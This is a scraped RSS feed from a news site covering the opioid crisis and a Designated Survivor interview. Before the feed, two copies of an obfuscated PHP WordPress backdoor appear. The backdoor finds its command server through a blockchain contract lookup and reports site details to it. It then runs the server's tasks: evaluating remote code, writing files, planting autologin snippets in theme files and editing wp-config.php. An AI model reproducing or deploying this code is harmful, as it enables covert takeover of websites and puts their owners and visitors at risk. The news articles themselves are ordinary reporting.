// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); opioids – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 09 Jun 2019 09:38:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png opioids – Brief News https://briefnews.eu 32 32 Designated Survivor Season 3: Yep, Those Are Real People Discussing Trans Therapy, Child Brides and Opioids https://briefnews.eu/designated-survivor-season-3-yep-those-are-real-people-discussing-trans-therapy-child-brides-and-opioids/ https://briefnews.eu/designated-survivor-season-3-yep-those-are-real-people-discussing-trans-therapy-child-brides-and-opioids/#respond Sun, 09 Jun 2019 09:38:59 +0000 http://briefnews.eu/designated-survivor-season-3-yep-those-are-real-people-discussing-trans-therapy-child-brides-and-opioids/

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During Designated Survivor Season 3, every time a person brings to President Kirkman’s attention a video of a citizen’s testimonial, what he watches is never an actor reading from a script but actual documentary footage.

Some of the topics covered throughout the 10-episode season (now available on Netflix) include opioid addiction and the exorbitant cost of life-sustaining medicines such as insulin.

“A mother whose child died of diabetes, people addicted to opioids, people who were in a transgender therapy group…. It’s always real,” Season 3 showrunner Neal Baer tells TVLine of the video clips. “When there are people saying to Kirkman why they don’t vote [in the previous presidential election], those are non-actors telling us why they didn’t vote.”

Describing the incorporation of documentary footage into an episodic series as something that is “very different,” Baer explains, “When I was first starting out, I did a pilot with John Wells in 1991 called Night Life, which integrated documentary footage with people who work all night. It was ultimately not picked up by NBC, but I’ve had this bug in my ear ever since.”

Episode 1 of the new season ends with Kirkman bingeing a slew of videos from generally disenfranchised Americans. From there the videos get more specific, starting in Episode 2 with an American woman who tearfully describes her sexual assault as a 13-year-old bride. Building off of a public relations snafu in which Kirkman unwittingly posed with a Saudi and his child bride (assuming the girl was a daughter), the episode proceeds to expose hard truths, including how child marriage is legal in all of the United States but two (Delaware and New Jersey).

“I haven’t met one person who knows that the child marriage rate in the United States is sort of equal to what’s going on in Saudi Arabia,” says Baer. “That was why that episode is about assumptions, like, ‘Oh, my gosh, it must be worse,’ and actually it’s not. These are all real facts and figures that are supported by the data we have.”

Baer in fact shared said data with series consultant Eric Schultz, who served as Deputy Press Secretary under President Obama, asking why the issue never grabbed a real-life White House’s attention. “Eric said, ‘It wasn’t on our radar.’ I showed him the figures, and he’s like, ‘Whoa. It wasn’t on our radar.’”

Even if it had been on the White House’s radar, implementing policy to change things, as illustrated on Designated Survivor, would prove problematic and face some surprising opposition. “As [Director of Social Innovation] Isobel says, two of the most liberal organizations, ACLU and Planned Parenthood, were against it,” Baer notes. “And that’s all true. That is all out of California.”


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]]> https://briefnews.eu/designated-survivor-season-3-yep-those-are-real-people-discussing-trans-therapy-child-brides-and-opioids/feed/ 0 ‘Safe supply’ program will distribute free opioids to entrenched users https://briefnews.eu/safe-supply-program-will-distribute-free-opioids-to-entrenched-users/ https://briefnews.eu/safe-supply-program-will-distribute-free-opioids-to-entrenched-users/#respond Sun, 06 Jan 2019 02:46:27 +0000 http://briefnews.eu/safe-supply-program-will-distribute-free-opioids-to-entrenched-users/ Injectable opioid

Fifty people who use street drugs will be regularly prescribed opioid pills to crush up and inject, as part of a new ‘safe supply’ program coming to Vancouver’s Downtown Eastside.

]]> https://briefnews.eu/safe-supply-program-will-distribute-free-opioids-to-entrenched-users/feed/ 0 Safer opioids needed to stem overdose epidemic, Canada’s top doctor says https://briefnews.eu/safer-opioids-needed-to-stem-overdose-epidemic-canadas-top-doctor-says/ https://briefnews.eu/safer-opioids-needed-to-stem-overdose-epidemic-canadas-top-doctor-says/#respond Wed, 12 Dec 2018 21:37:37 +0000 http://briefnews.eu/safer-opioids-needed-to-stem-overdose-epidemic-canadas-top-doctor-says/ drugs

Canada’s chief public health officer says the need to increase access to a “safer supply” of opioids is being reviewed with provinces and territories — a move encouraged by a number of public health experts.

]]> https://briefnews.eu/safer-opioids-needed-to-stem-overdose-epidemic-canadas-top-doctor-says/feed/ 0 Despite concerns, opioids remain legitimate pain medications, says Health Canada https://briefnews.eu/despite-concerns-opioids-remain-legitimate-pain-medications-says-health-canada/ https://briefnews.eu/despite-concerns-opioids-remain-legitimate-pain-medications-says-health-canada/#respond Mon, 10 Dec 2018 05:59:52 +0000 http://briefnews.eu/despite-concerns-opioids-remain-legitimate-pain-medications-says-health-canada/ Magic Pills opioid addiction

In an email, Health Canada spokesperson Maryse Durette said opioids are legitimate medications that help alleviate pain, and a recall may not be needed.

]]> https://briefnews.eu/despite-concerns-opioids-remain-legitimate-pain-medications-says-health-canada/feed/ 0 New Canadian Medical Association head calls for debate on decriminalizing opioids https://briefnews.eu/new-canadian-medical-association-head-calls-for-debate-on-decriminalizing-opioids/ https://briefnews.eu/new-canadian-medical-association-head-calls-for-debate-on-decriminalizing-opioids/#respond Sun, 23 Sep 2018 07:18:02 +0000 http://briefnews.eu/new-canadian-medical-association-head-calls-for-debate-on-decriminalizing-opioids/ Overdose Awareness Day 20170831

The new president of the Canadian Medical Association wants to see politicians debate the pros and cons of decriminalizing opioids, despite the federal government saying it is not interested in such a move.

]]> https://briefnews.eu/new-canadian-medical-association-head-calls-for-debate-on-decriminalizing-opioids/feed/ 0 Health Canada asked 102 drug companies to stop marketing opioids. Just 25 responded https://briefnews.eu/health-canada-asked-102-drug-companies-to-stop-marketing-opioids-just-25-responded/ https://briefnews.eu/health-canada-asked-102-drug-companies-to-stop-marketing-opioids-just-25-responded/#respond Fri, 14 Sep 2018 15:26:40 +0000 http://briefnews.eu/health-canada-asked-102-drug-companies-to-stop-marketing-opioids-just-25-responded/ OxyContin

This summer, the federal health minister asked more than 100 pharmaceutical companies to stop marketing opioids to health care professionals in Canada. So far, just a quarter of them have written back.

]]> https://briefnews.eu/health-canada-asked-102-drug-companies-to-stop-marketing-opioids-just-25-responded/feed/ 0 Doctors Deploy a Surprisingly Low-Tech Tool Kit Against Opioids https://briefnews.eu/doctors-deploy-a-surprisingly-low-tech-tool-kit-against-opioids/ https://briefnews.eu/doctors-deploy-a-surprisingly-low-tech-tool-kit-against-opioids/#respond Sat, 18 Aug 2018 07:03:59 +0000 http://briefnews.eu/doctors-deploy-a-surprisingly-low-tech-tool-kit-against-opioids/

Oregon-based physician Alan Schwartzstein knows urine tests aren’t very popular in America at the moment, thanks in part to reports about hospitals using them to rack up medical bills. But he figures it’s a worthwhile cost to protect his patients from opioid addiction.

It couldn’t be less sexy as a tool in the fight against America’s opioid crisis, which killed 64,000 people in 2016 and was described by the U.S. Drug Enforcement Administration in 2015 as having reached “epidemic levels.” While debates rage over new opioid substitutes and technology-driven solutions, a parallel and low-tech war on the crisis is growing across America. More and more doctors are educating and arming themselves to better deal with opioid addiction. Researchers are tailoring questionnaires and screenings originally meant to trace other addictions such as alcoholism to help detect opioid abuse early. Health policy experts are recommending tweaking coercive “pain contracts” between doctors and patients — in which a patient accepts that they will lose medication under certain circumstances. And physicians are recommending urine tests at the risk of patients’ wrath.

American Academy of Family Physicians (AAFP) members reported completing more than 157,217 continuing medical education credits on opioid-related topics in 2017, up from 141,000 credits in 2016. According to the Substance Abuse and Mental Health Services Administration, certifications to provide medication-assisted treatments to opioid patients under the Drug Addiction Treatment Act (DATA) jumped from 25,000 in 2014 to 31,862 in 2016. Studies testing the efficacy of alcohol addiction–related screening questionnaires modified for the opioid epidemic also have gone up, as has research verifying the benefits of the Opioid Risk Tool (ORT) — a brief self-reporting tool used to test risk of opioid abuse in adults. And the number of urine tests in America has leaped from fewer than 2 million in 2004 to almost 12 million in 2014.

At this point, with the epidemic, I explain to my patients that this is simply a cost they’re gonna have to expect.

Alan Schwartzstein, physician, speaking about urine tests

“At this point, with the epidemic,” says Schwartzstein, “I explain to my patients that this is simply a cost they’re gonna have to expect.”

Physicians and medical researchers say the full breadth of factors contributing to the crisis isn’t understood adequately by most Americans. Doctors have come under fire for the overprescription of opioids. After all, 36 studies have shown that at least 39 percent — and possibly as high as 86 percent — of heroin users started with opioids. But what about the rest? Many heroin overdoses don’t start with prescriptions — at least, not an addict’s own. The studies that suggested overprescription didn’t distinguish people who abuse their own medicines from those who swipe from a relative’s cabinet.

Since 2010, says Judith Paice, director of the Cancer Pain Program at Northwestern University, opioid deaths are linked more to illicit drugs like fentanyl and heroin. “People were pretty liberal with opioids,” says Courtney Kominek, a pain specialist with Truman Memorial Veterans’ Hospital, speaking in her individual capacity. “Now, as they say, the pendulum has swung.”

